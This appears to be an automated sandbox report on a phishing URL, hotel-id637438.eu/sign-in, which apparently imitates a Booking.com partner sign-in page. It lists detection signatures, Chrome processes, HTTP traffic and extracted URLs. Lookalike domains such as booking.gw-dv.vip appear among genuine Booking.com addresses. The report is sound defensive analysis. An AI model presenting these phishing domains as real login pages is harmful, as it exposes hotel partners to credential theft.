Edit tour

Windows Analysis Report
https://hotel-id637438.eu/sign-in

Overview

General Information

Sample URL:	https://hotel-id637438.eu/sign-in
Analysis ID:	1469574
Infos:

Detection

Score:	64
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

AI detected phishing page

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Connects to several IPs in different countries

Detected non-DNS traffic on DNS port

Found iframes

HTML body contains low number of good links

HTML body contains password input but no form action

HTML title does not match URL

Classification

Process Tree

System is w10x64

chrome.exe (PID: 5412 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank" MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

chrome.exe (PID: 5492 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2556 --field-trial-handle=2004,i,18335563116413383683,3162479861710847297,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

chrome.exe (PID: 1320 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --mojo-platform-channel-handle=5860 --field-trial-handle=2004,i,18335563116413383683,3162479861710847297,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

chrome.exe (PID: 1464 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=video_capture.mojom.VideoCaptureService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5988 --field-trial-handle=2004,i,18335563116413383683,3162479861710847297,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

chrome.exe (PID: 3700 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://hotel-id637438.eu/sign-in" MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

cleanup

HTTP traffic detected: POST /report/v4?s=5VEwrHJCj5UIAvdkySTjdb1lNtu3anNH5qtf5MktDCOTLRy%2BAY1ChKfb3HTqvYxPwN%2Bb7C6GTT7Q9YIEgsxfTbJhvAEpfu2zOQzuapT1cK0Jpbiqzimmah4f%2F%2FoApkH6aKyL%2Fg%3D%3D HTTP/1.1Host: a.nel.cloudflare.comConnection: keep-aliveContent-Length: 492Content-Type: application/reports+jsonUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 08 Jul 2024 22:43:26 GMTContent-Type: application/jsonContent-Length: 22Connection: closeCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=5VEwrHJCj5UIAvdkySTjdb1lNtu3anNH5qtf5MktDCOTLRy%2BAY1ChKfb3HTqvYxPwN%2Bb7C6GTT7Q9YIEgsxfTbJhvAEpfu2zOQzuapT1cK0Jpbiqzimmah4f%2F%2FoApkH6aKyL%2Fg%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8a0397d95d9842db-EWRalt-svc: h3=":443"; ma=86400
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 08 Jul 2024 22:43:33 GMTContent-Type: application/jsonContent-Length: 22Connection: closeCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=pH9QJ7SQcCN6rKuw7HVqZnRKormvetoJRCiY3BuAAhHE74OEKL7wItRp2jJsFIwKicwHhZABkaYUIyyi2N53p5CvEWEju1vjGObJDC3VeUA2BNxIl8%2BiCK8UjME%2B3uyn3lWTTA%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8a0398040e9d429a-EWRalt-svc: h3=":443"; ma=86400
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 08 Jul 2024 22:43:34 GMTContent-Type: application/jsonContent-Length: 22Connection: closeCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=2iESXZqXtPVbTqOGSoHNf6mqKJthtCvOBtXhNGsBVze%2FhV%2FIaxL91E0Du13gFRycVtzeTlcIm0tAKJeUgL%2Bg%2F6JVxJ4uzYXaQmm8RLB51l8KN348sSwL0hHTOxiwVXNiiFL9eA%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8a03980ea902c477-EWRalt-svc: h3=":443"; ma=86400
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 08 Jul 2024 22:43:36 GMTContent-Type: application/jsonContent-Length: 22Connection: closeCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2B9kn4kOKWNzieD6JUKAOe446zfkAoIMs2NrRvLSP7jj2BG21W5jpVubEt23tmUNopnsu0TEGQpZrUaI7XZjzEloSj6qi82jgY1EJJ97yCgMjsYYR5CxCipz1YuqkubiPC%2F0FGQ%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8a039818b9e1729b-EWRalt-svc: h3=":443"; ma=86400
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenContent-Type: text/html; charset=UTF-8Content-Length: 22Connection: closedate: Mon, 08 Jul 2024 22:43:46 GMTserver: Perl Dancer2 0.300004x-xss-protection: 1; mode=blockstrict-transport-security: max-age=63072000; includeSubDomains; preloadX-Cache: Error from cloudfrontVia: 1.1 f8debc28b6c73eb3dc7540e2ac2f0e18.cloudfront.net (CloudFront)X-Amz-Cf-Pop: JFK50-P5X-Amz-Cf-Id: HXgazQ3D71PfMcmB2HdA1y5-1ogHNaVOB_4wbLWmklcHqPnjdtcGTg==
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenContent-Type: text/html; charset=UTF-8Content-Length: 22Connection: closedate: Mon, 08 Jul 2024 22:44:35 GMTserver: Perl Dancer2 0.300004x-xss-protection: 1; mode=blockstrict-transport-security: max-age=63072000; includeSubDomains; preloadX-Cache: Error from cloudfrontVia: 1.1 f9aa0e4086fcbefc20f307d96a8e3b44.cloudfront.net (CloudFront)X-Amz-Cf-Pop: JFK50-P5X-Amz-Cf-Id: kp5iAY6GZHVeirEI7v_31olu2WrQL2UVwQOzWYeOBtg6CcPmhEFgwg==
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenContent-Type: text/html; charset=UTF-8Content-Length: 22Connection: closedate: Mon, 08 Jul 2024 22:44:36 GMTserver: Perl Dancer2 0.300004x-xss-protection: 1; mode=blockstrict-transport-security: max-age=63072000; includeSubDomains; preloadX-Cache: Error from cloudfrontVia: 1.1 58a45bf3f07dfdca95ebcb7935e84994.cloudfront.net (CloudFront)X-Amz-Cf-Pop: JFK50-P5X-Amz-Cf-Id: JVscYyAz4n2wn0kNCuFsUF_w4d1wZyeR3pi556M_LOYVtKqytxpvTw==

Source: chromecache_285.2.dr, chromecache_378.2.dr	String found in binary or memory: http://api.jqueryui.com/position/
Source: chromecache_326.2.dr, chromecache_462.2.dr	String found in binary or memory: http://cond01.etbxml.com/cond/common.js
Source: chromecache_269.2.dr	String found in binary or memory: http://hitcounter.ru/top/stat.php
Source: chromecache_285.2.dr, chromecache_378.2.dr	String found in binary or memory: http://jquery.org/license
Source: chromecache_285.2.dr, chromecache_378.2.dr	String found in binary or memory: http://jqueryui.com
Source: chromecache_340.2.dr	String found in binary or memory: http://scripts.sil.org/OFLhttp://scripts.sil.org/OFLHow
Source: chromecache_351.2.dr	String found in binary or memory: http://scripts.sil.org/OFLhttp://scripts.sil.org/OFLIBM
Source: chromecache_340.2.dr	String found in binary or memory: http://scripts.sil.org/OFLhttp://scripts.sil.org/OFLsimple
Source: chromecache_340.2.dr	String found in binary or memory: http://www.boldmonday.comhttp://www.ibm.comThis
Source: chromecache_326.2.dr, chromecache_462.2.dr	String found in binary or memory: http://www.quirksmode.org/js/cookies.html
Source: chromecache_326.2.dr, chromecache_462.2.dr	String found in binary or memory: https://account.booking.com/_/fvtrpw.gif
Source: chromecache_450.2.dr	String found in binary or memory: https://admin.booking.com/
Source: chromecache_433.2.dr	String found in binary or memory: https://admin.booking.com/?aid=1190473&page=/hotel/hoteladmin/extranet_ng/manage/inbox.html&
Source: chromecache_433.2.dr	String found in binary or memory: https://admin.booking.com/?utm_source=partner_hub&utm_medium=go_to_extranet_link&utm_campaig
Source: chromecache_450.2.dr	String found in binary or memory: https://admin.booking.com/hotel/hoteladmin/extranet_ng/manage/partner_help_proxy.html?article=help_h
Source: chromecache_450.2.dr	String found in binary or memory: https://admin.booking.com/hotel/hoteladmin/privacy.html?lang=
Source: chromecache_318.2.dr, chromecache_433.2.dr	String found in binary or memory: https://admin.booking.com/hotel/hoteladmin/privacy.html?lang=en-us&utm_source=phc&utm_medium
Source: chromecache_451.2.dr	String found in binary or memory: https://adservice.google.com/pagead/regclk?
Source: chromecache_437.2.dr, chromecache_328.2.dr	String found in binary or memory: https://ampcid.google.com/v1/publisher:getClientId
Source: chromecache_450.2.dr	String found in binary or memory: https://app.dqs.booking.com
Source: chromecache_450.2.dr	String found in binary or memory: https://booking-ec.gw-dv.vip
Source: chromecache_450.2.dr	String found in binary or memory: https://booking.gw-dv.vip
Source: chromecache_414.2.dr, chromecache_318.2.dr, chromecache_433.2.dr	String found in binary or memory: https://bstatic.com
Source: chromecache_318.2.dr, chromecache_433.2.dr	String found in binary or memory: https://bstatic.com/libs/bui/9.5.6/bui.min.js
Source: chromecache_451.2.dr, chromecache_431.2.dr	String found in binary or memory: https://cct.google/taggy/agent.js
Source: chromecache_414.2.dr, chromecache_318.2.dr, chromecache_433.2.dr	String found in binary or memory: https://cdn.cookielaw.org
Source: chromecache_414.2.dr, chromecache_318.2.dr, chromecache_433.2.dr	String found in binary or memory: https://cdn.cookielaw.org/consent/5b5ab62b-24f1-40fe-8bb1-6de0b3a94fda/OtAutoBlock.js
Source: chromecache_326.2.dr, chromecache_462.2.dr	String found in binary or memory: https://cdn.cookielaw.org/consent/a387750c-a080-4dd0-b2d1-7dbdb601bb14/OtAutoBlock.js
Source: chromecache_372.2.dr, chromecache_414.2.dr, chromecache_318.2.dr, chromecache_433.2.dr, chromecache_324.2.dr	String found in binary or memory: https://cdn.cookielaw.org/scripttemplates/otSDKStub.js
Source: chromecache_451.2.dr	String found in binary or memory: https://cdn.mouseflow.com/projects/
Source: chromecache_269.2.dr, chromecache_326.2.dr, chromecache_462.2.dr	String found in binary or memory: https://cf.bstatic.com/psb/accountsportal/
Source: chromecache_326.2.dr, chromecache_462.2.dr	String found in binary or memory: https://cf.bstatic.com/psb/accountsportal/assets/517_74f8edfbce6c8424fde6.js
Source: chromecache_326.2.dr, chromecache_462.2.dr	String found in binary or memory: https://cf.bstatic.com/psb/accountsportal/assets/551_8e0f43f6ce9d2e229cb8.css
Source: chromecache_326.2.dr, chromecache_462.2.dr	String found in binary or memory: https://cf.bstatic.com/psb/accountsportal/assets/551_d9177bb2ea045a936d68.js
Source: chromecache_326.2.dr, chromecache_462.2.dr	String found in binary or memory: https://cf.bstatic.com/psb/accountsportal/assets/57_21f66738ac9c52ae5b72.css
Source: chromecache_326.2.dr, chromecache_462.2.dr	String found in binary or memory: https://cf.bstatic.com/psb/accountsportal/assets/699_7dd9fbc7ebf53c180dfd.js
Source: chromecache_326.2.dr, chromecache_462.2.dr	String found in binary or memory: https://cf.bstatic.com/psb/accountsportal/assets/826_0cc611c2fdbfa57dfa5d.js
Source: chromecache_326.2.dr, chromecache_462.2.dr	String found in binary or memory: https://cf.bstatic.com/psb/accountsportal/assets/826_c32002792e35c69191e8.css
Source: chromecache_326.2.dr, chromecache_462.2.dr	String found in binary or memory: https://cf.bstatic.com/psb/accountsportal/assets/842_b7cfe71a24f37e243c53.js
Source: chromecache_326.2.dr, chromecache_462.2.dr	String found in binary or memory: https://cf.bstatic.com/psb/accountsportal/assets/876_ae71aefc2f960c9d4720.js
Source: chromecache_326.2.dr, chromecache_462.2.dr	String found in binary or memory: https://cf.bstatic.com/psb/accountsportal/assets/index_a4c9eea436facc11b585.js
Source: chromecache_326.2.dr, chromecache_462.2.dr	String found in binary or memory: https://cf.bstatic.com/psb/accountsportal/assets/runtime~index_08a2413ae9a3221f32e6.js
Source: chromecache_450.2.dr	String found in binary or memory: https://cf.bstatic.com/static/img/identity/profile/b47cd0e05ec8b7831167f4f7593ead56402a6bb4.svg
Source: chromecache_402.2.dr, chromecache_321.2.dr	String found in binary or memory: https://collector-a.perimeterx.net/api/v2/collector/clientError?r=
Source: chromecache_326.2.dr, chromecache_462.2.dr	String found in binary or memory: https://d8c14d4960ca.edge.sdk.awswaf.com/d8c14d4960ca/c2181391033f/challenge.js
Source: chromecache_401.2.dr	String found in binary or memory: https://docs.aws.amazon.com/waf/latest/developerguide/waf-javascript-api.html
Source: chromecache_310.2.dr	String found in binary or memory: https://docs.aws.amazon.com/waf/latest/developerguide/waf-javascript-sdk.html
Source: chromecache_285.2.dr, chromecache_378.2.dr	String found in binary or memory: https://git.drupalcode.org/project/once/-/raw/v1.0.1/LICENSE.md
Source: chromecache_414.2.dr, chromecache_318.2.dr, chromecache_433.2.dr	String found in binary or memory: https://github.com/aFarkas/lazysizes#automatically-setting-the-sizes-attribute
Source: chromecache_414.2.dr, chromecache_318.2.dr, chromecache_433.2.dr	String found in binary or memory: https://github.com/aFarkas/lazysizes#broken-image-symbol
Source: chromecache_285.2.dr, chromecache_378.2.dr	String found in binary or memory: https://github.com/focus-trap/tabbable/blob/master/LICENSE
Source: chromecache_442.2.dr	String found in binary or memory: https://github.com/jquery-form/form
Source: chromecache_442.2.dr	String found in binary or memory: https://github.com/jquery-form/form#license
Source: chromecache_292.2.dr, chromecache_460.2.dr	String found in binary or memory: https://github.com/kenwheeler/slick/blob/master/LICENSE
Source: chromecache_451.2.dr	String found in binary or memory: https://google.com
Source: chromecache_451.2.dr	String found in binary or memory: https://googleads.g.doubleclick.net
Source: chromecache_450.2.dr	String found in binary or memory: https://join.booking.com?lang=
Source: chromecache_414.2.dr, chromecache_318.2.dr, chromecache_433.2.dr	String found in binary or memory: https://lonrtp1.marketo.com
Source: chromecache_414.2.dr, chromecache_318.2.dr, chromecache_433.2.dr	String found in binary or memory: https://munchkin.marketo.net/
Source: chromecache_451.2.dr, chromecache_431.2.dr	String found in binary or memory: https://pagead2.googlesyndication.com
Source: chromecache_451.2.dr, chromecache_431.2.dr	String found in binary or memory: https://pagead2.googlesyndication.com/pagead/gen_204?id=tcfe
Source: chromecache_414.2.dr	String found in binary or memory: https://partner.booking.com/ar
Source: chromecache_414.2.dr	String found in binary or memory: https://partner.booking.com/bg
Source: chromecache_414.2.dr	String found in binary or memory: https://partner.booking.com/cs
Source: chromecache_414.2.dr	String found in binary or memory: https://partner.booking.com/de
Source: chromecache_414.2.dr	String found in binary or memory: https://partner.booking.com/el
Source: chromecache_414.2.dr	String found in binary or memory: https://partner.booking.com/en-gb
Source: chromecache_414.2.dr, chromecache_318.2.dr	String found in binary or memory: https://partner.booking.com/en-gb/community
Source: chromecache_414.2.dr, chromecache_318.2.dr, chromecache_433.2.dr	String found in binary or memory: https://partner.booking.com/en-us
Source: chromecache_318.2.dr	String found in binary or memory: https://partner.booking.com/en-us/community
Source: chromecache_433.2.dr	String found in binary or memory: https://partner.booking.com/en-us/help
Source: chromecache_433.2.dr	String found in binary or memory: https://partner.booking.com/en-us/help/support-contact
Source: chromecache_433.2.dr	String found in binary or memory: https://partner.booking.com/en-us/help/support-contact/contact
Source: chromecache_433.2.dr	String found in binary or memory: https://partner.booking.com/en-us/help/support-contact/contact/where-you-can-reach-us
Source: chromecache_414.2.dr	String found in binary or memory: https://partner.booking.com/en-us/taxonomy/term/3693
Source: chromecache_414.2.dr	String found in binary or memory: https://partner.booking.com/es
Source: chromecache_414.2.dr	String found in binary or memory: https://partner.booking.com/es-ar
Source: chromecache_414.2.dr	String found in binary or memory: https://partner.booking.com/fr
Source: chromecache_414.2.dr	String found in binary or memory: https://partner.booking.com/he
Source: chromecache_414.2.dr	String found in binary or memory: https://partner.booking.com/hr
Source: chromecache_414.2.dr	String found in binary or memory: https://partner.booking.com/hu
Source: chromecache_414.2.dr	String found in binary or memory: https://partner.booking.com/id
Source: chromecache_414.2.dr	String found in binary or memory: https://partner.booking.com/it
Source: chromecache_318.2.dr	String found in binary or memory: https://partner.booking.com/it/community
Source: chromecache_414.2.dr	String found in binary or memory: https://partner.booking.com/ja
Source: chromecache_414.2.dr	String found in binary or memory: https://partner.booking.com/ko
Source: chromecache_414.2.dr	String found in binary or memory: https://partner.booking.com/nl
Source: chromecache_450.2.dr	String found in binary or memory: https://partner.booking.com/node/2170?utm_source=account&utm_medium=support_link
Source: chromecache_414.2.dr	String found in binary or memory: https://partner.booking.com/pl
Source: chromecache_414.2.dr	String found in binary or memory: https://partner.booking.com/pt
Source: chromecache_414.2.dr	String found in binary or memory: https://partner.booking.com/pt-br
Source: chromecache_414.2.dr	String found in binary or memory: https://partner.booking.com/ro
Source: chromecache_414.2.dr	String found in binary or memory: https://partner.booking.com/ru
Source: chromecache_318.2.dr	String found in binary or memory: https://partner.booking.com/sites/default/files/2019-05/forum_1.jpg
Source: chromecache_433.2.dr	String found in binary or memory: https://partner.booking.com/sites/default/files/2021-01/partner-help.jpg
Source: chromecache_414.2.dr	String found in binary or memory: https://partner.booking.com/sites/default/files/2023-01/Twowomeninlobby.png
Source: chromecache_414.2.dr	String found in binary or memory: https://partner.booking.com/sites/default/files/styles/avatar_default/public/2024-03/callum_1.png?it
Source: chromecache_414.2.dr	String found in binary or memory: https://partner.booking.com/sites/default/files/styles/medium_400_width/public/2024-06/ukb5394_asset
Source: chromecache_318.2.dr	String found in binary or memory: https://partner.booking.com/sites/default/files/styles/teaser_image_card/public/2019-05/forum_1.jpg?
Source: chromecache_414.2.dr	String found in binary or memory: https://partner.booking.com/sites/default/files/styles/teaser_image_card/public/2023-01/Twowomeninlo
Source: chromecache_414.2.dr	String found in binary or memory: https://partner.booking.com/sr
Source: chromecache_414.2.dr	String found in binary or memory: https://partner.booking.com/sv
Source: chromecache_414.2.dr	String found in binary or memory: https://partner.booking.com/th
Source: chromecache_414.2.dr	String found in binary or memory: https://partner.booking.com/tr
Source: chromecache_414.2.dr	String found in binary or memory: https://partner.booking.com/vi
Source: chromecache_414.2.dr	String found in binary or memory: https://partner.booking.com/zh-cn
Source: chromecache_414.2.dr	String found in binary or memory: https://partner.booking.com/zh-tw
Source: chromecache_433.2.dr	String found in binary or memory: https://q-cf.bstatic.com/static/img/b26logo/booking_logo_retina/22615963add19ac6b6d715a97c8d477e8b95
Source: chromecache_450.2.dr	String found in binary or memory: https://q-xx.bstatic.com/backend_static/common/flags/new/48-squared/
Source: chromecache_450.2.dr	String found in binary or memory: https://q-xx.bstatic.com/data/accounts_portal/
Source: chromecache_450.2.dr	String found in binary or memory: https://q-xx.bstatic.com/data/accounts_portal/default_oauth_client_logo.svg
Source: chromecache_269.2.dr	String found in binary or memory: https://q.bstatic.com/libs/asec/btmgmt/px.v7.5.3.min.js
Source: chromecache_423.2.dr, chromecache_348.2.dr	String found in binary or memory: https://q.bstatic.com/libs/bui/7.3.1/bui.min.css
Source: chromecache_423.2.dr, chromecache_348.2.dr	String found in binary or memory: https://q.bstatic.com/libs/calango/0.500/bui.css
Source: chromecache_326.2.dr, chromecache_462.2.dr	String found in binary or memory: https://r.bstatic.com/libs/asec/btmgmt/px.v7.5.3.min.js
Source: chromecache_285.2.dr, chromecache_378.2.dr	String found in binary or memory: https://raw.githubusercontent.com/focus-trap/tabbable/v6.2.0/LICENSE
Source: chromecache_442.2.dr	String found in binary or memory: https://raw.githubusercontent.com/jquery-form/form/master/LICENSE
Source: chromecache_369.2.dr, chromecache_300.2.dr, chromecache_285.2.dr, chromecache_378.2.dr	String found in binary or memory: https://raw.githubusercontent.com/jquery/jquery-ui/1.13.2/LICENSE.txt
Source: chromecache_285.2.dr, chromecache_378.2.dr	String found in binary or memory: https://raw.githubusercontent.com/jquery/jquery/3.7.1/LICENSE.txt
Source: chromecache_393.2.dr, chromecache_442.2.dr	String found in binary or memory: https://raw.githubusercontent.com/muicss/loadjs/4.2.0/LICENSE.txt
Source: chromecache_414.2.dr, chromecache_318.2.dr, chromecache_433.2.dr	String found in binary or memory: https://rtp-static.marketo.com
Source: chromecache_435.2.dr, chromecache_330.2.dr	String found in binary or memory: https://s.qualtrics.com/spoke/all/jam
Source: chromecache_326.2.dr, chromecache_462.2.dr	String found in binary or memory: https://saa.booking.com/analytics.js?ca=accountsportal
Source: chromecache_414.2.dr, chromecache_318.2.dr, chromecache_433.2.dr	String found in binary or memory: https://schema.org
Source: chromecache_435.2.dr, chromecache_330.2.dr	String found in binary or memory: https://siteintercept.qualtrics.com
Source: chromecache_435.2.dr, chromecache_330.2.dr	String found in binary or memory: https://siteintercept.qualtrics.com/dxjsmodule/
Source: chromecache_451.2.dr	String found in binary or memory: https://snap.licdn.com/li.lms-analytics/insight.min.js
Source: chromecache_328.2.dr	String found in binary or memory: https://stats.g.doubleclick.net/j/collect
Source: chromecache_437.2.dr, chromecache_328.2.dr	String found in binary or memory: https://tagassistant.google.com/
Source: chromecache_451.2.dr, chromecache_431.2.dr	String found in binary or memory: https://td.doubleclick.net
Source: chromecache_414.2.dr, chromecache_318.2.dr, chromecache_433.2.dr, chromecache_420.2.dr	String found in binary or memory: https://try.abtasty.com
Source: chromecache_462.2.dr	String found in binary or memory: https://www.booking.com/_etnht
Source: chromecache_318.2.dr, chromecache_433.2.dr	String found in binary or memory: https://www.booking.com/content/about.en-us.html?utm_source=phc&utm_medium=about_booking_com_lin
Source: chromecache_450.2.dr	String found in binary or memory: https://www.booking.com/content/ccpa.
Source: chromecache_450.2.dr	String found in binary or memory: https://www.booking.com/general.
Source: chromecache_358.2.dr, chromecache_289.2.dr, chromecache_276.2.dr	String found in binary or memory: https://www.booking.com/general.html?tmpl=docs/privacy-policy
Source: chromecache_326.2.dr, chromecache_462.2.dr	String found in binary or memory: https://www.bstatic.com/libs/privacy-consent/1.0.0/partner/cookie-banner.min.js
Source: chromecache_414.2.dr, chromecache_318.2.dr, chromecache_433.2.dr	String found in binary or memory: https://www.drupal.org)
Source: chromecache_381.2.dr, chromecache_272.2.dr, chromecache_393.2.dr, chromecache_369.2.dr, chromecache_300.2.dr, chromecache_441.2.dr, chromecache_442.2.dr, chromecache_429.2.dr, chromecache_285.2.dr, chromecache_460.2.dr, chromecache_325.2.dr, chromecache_378.2.dr	String found in binary or memory: https://www.drupal.org/licensing/faq
Source: chromecache_414.2.dr, chromecache_318.2.dr, chromecache_433.2.dr	String found in binary or memory: https://www.google-analytics.com
Source: chromecache_347.2.dr, chromecache_326.2.dr, chromecache_452.2.dr, chromecache_451.2.dr, chromecache_462.2.dr	String found in binary or memory: https://www.google-analytics.com/analytics.js
Source: chromecache_437.2.dr, chromecache_328.2.dr	String found in binary or memory: https://www.google-analytics.com/debug/bootstrap?id=
Source: chromecache_437.2.dr, chromecache_328.2.dr	String found in binary or memory: https://www.google-analytics.com/gtm/js?id=
Source: chromecache_437.2.dr, chromecache_328.2.dr	String found in binary or memory: https://www.google.%/ads/ga-audiences
Source: chromecache_451.2.dr, chromecache_431.2.dr	String found in binary or memory: https://www.google.com
Source: chromecache_437.2.dr, chromecache_328.2.dr	String found in binary or memory: https://www.google.com/ads/ga-audiences
Source: chromecache_451.2.dr, chromecache_431.2.dr	String found in binary or memory: https://www.googleadservices.com
Source: chromecache_414.2.dr, chromecache_318.2.dr, chromecache_433.2.dr	String found in binary or memory: https://www.googleoptimize.com
Source: chromecache_414.2.dr, chromecache_318.2.dr, chromecache_433.2.dr	String found in binary or memory: https://www.googleoptimize.com/optimize.js?id=GTM-MVTHSWF
Source: chromecache_431.2.dr	String found in binary or memory: https://www.googletagmanager.com
Source: chromecache_451.2.dr	String found in binary or memory: https://www.googletagmanager.com/a?
Source: chromecache_347.2.dr, chromecache_452.2.dr	String found in binary or memory: https://www.googletagmanager.com/gtag/js
Source: chromecache_437.2.dr, chromecache_328.2.dr	String found in binary or memory: https://www.googletagmanager.com/gtag/js?id=
Source: chromecache_414.2.dr, chromecache_318.2.dr, chromecache_433.2.dr	String found in binary or memory: https://www.googletagmanager.com/gtm.js?id=
Source: chromecache_414.2.dr, chromecache_318.2.dr, chromecache_433.2.dr	String found in binary or memory: https://www.googletagmanager.com/ns.html?id=GTM-TGMJRCB
Source: chromecache_451.2.dr	String found in binary or memory: https://www.youtube.com/iframe_api
Source: chromecache_450.2.dr	String found in binary or memory: https://xx.bstatic.com/libs/acc-clientlib/v5/clientlib.js
Source: chromecache_450.2.dr	String found in binary or memory: https://xx.bstatic.com/libs/datavisor/20231228/sdk.js
Source: chromecache_269.2.dr, chromecache_326.2.dr, chromecache_462.2.dr	String found in binary or memory: https://xx.bstatic.com/static/img/favicon.ico
Source: chromecache_269.2.dr, chromecache_326.2.dr, chromecache_462.2.dr	String found in binary or memory: https://xx.bstatic.com/static/img/favicon.svg
Source: chromecache_433.2.dr	String found in binary or memory: https://zn3eum1ldyl0aih0i-partnersatbooking.siteintercept.qualtrics.com/SIE/?Q_ZID=ZN_3Eum1ldyL0aIh0

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49986
Source: unknown	Network traffic detected: HTTP traffic on port 49817 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49984
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49983
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49982
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49981
Source: unknown	Network traffic detected: HTTP traffic on port 49898 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49852 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52232 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52278 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 52037 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 52312 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49979
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49978
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49977
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49976
Source: unknown	Network traffic detected: HTTP traffic on port 52220 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49975
Source: unknown	Network traffic detected: HTTP traffic on port 52186 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49974
Source: unknown	Network traffic detected: HTTP traffic on port 50085 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49973
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49972
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49971
Source: unknown	Network traffic detected: HTTP traffic on port 52266 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49970
Source: unknown	Network traffic detected: HTTP traffic on port 52140 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52105 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50004 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49909 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52072 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49969
Source: unknown	Network traffic detected: HTTP traffic on port 49978 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 49886 -> 443
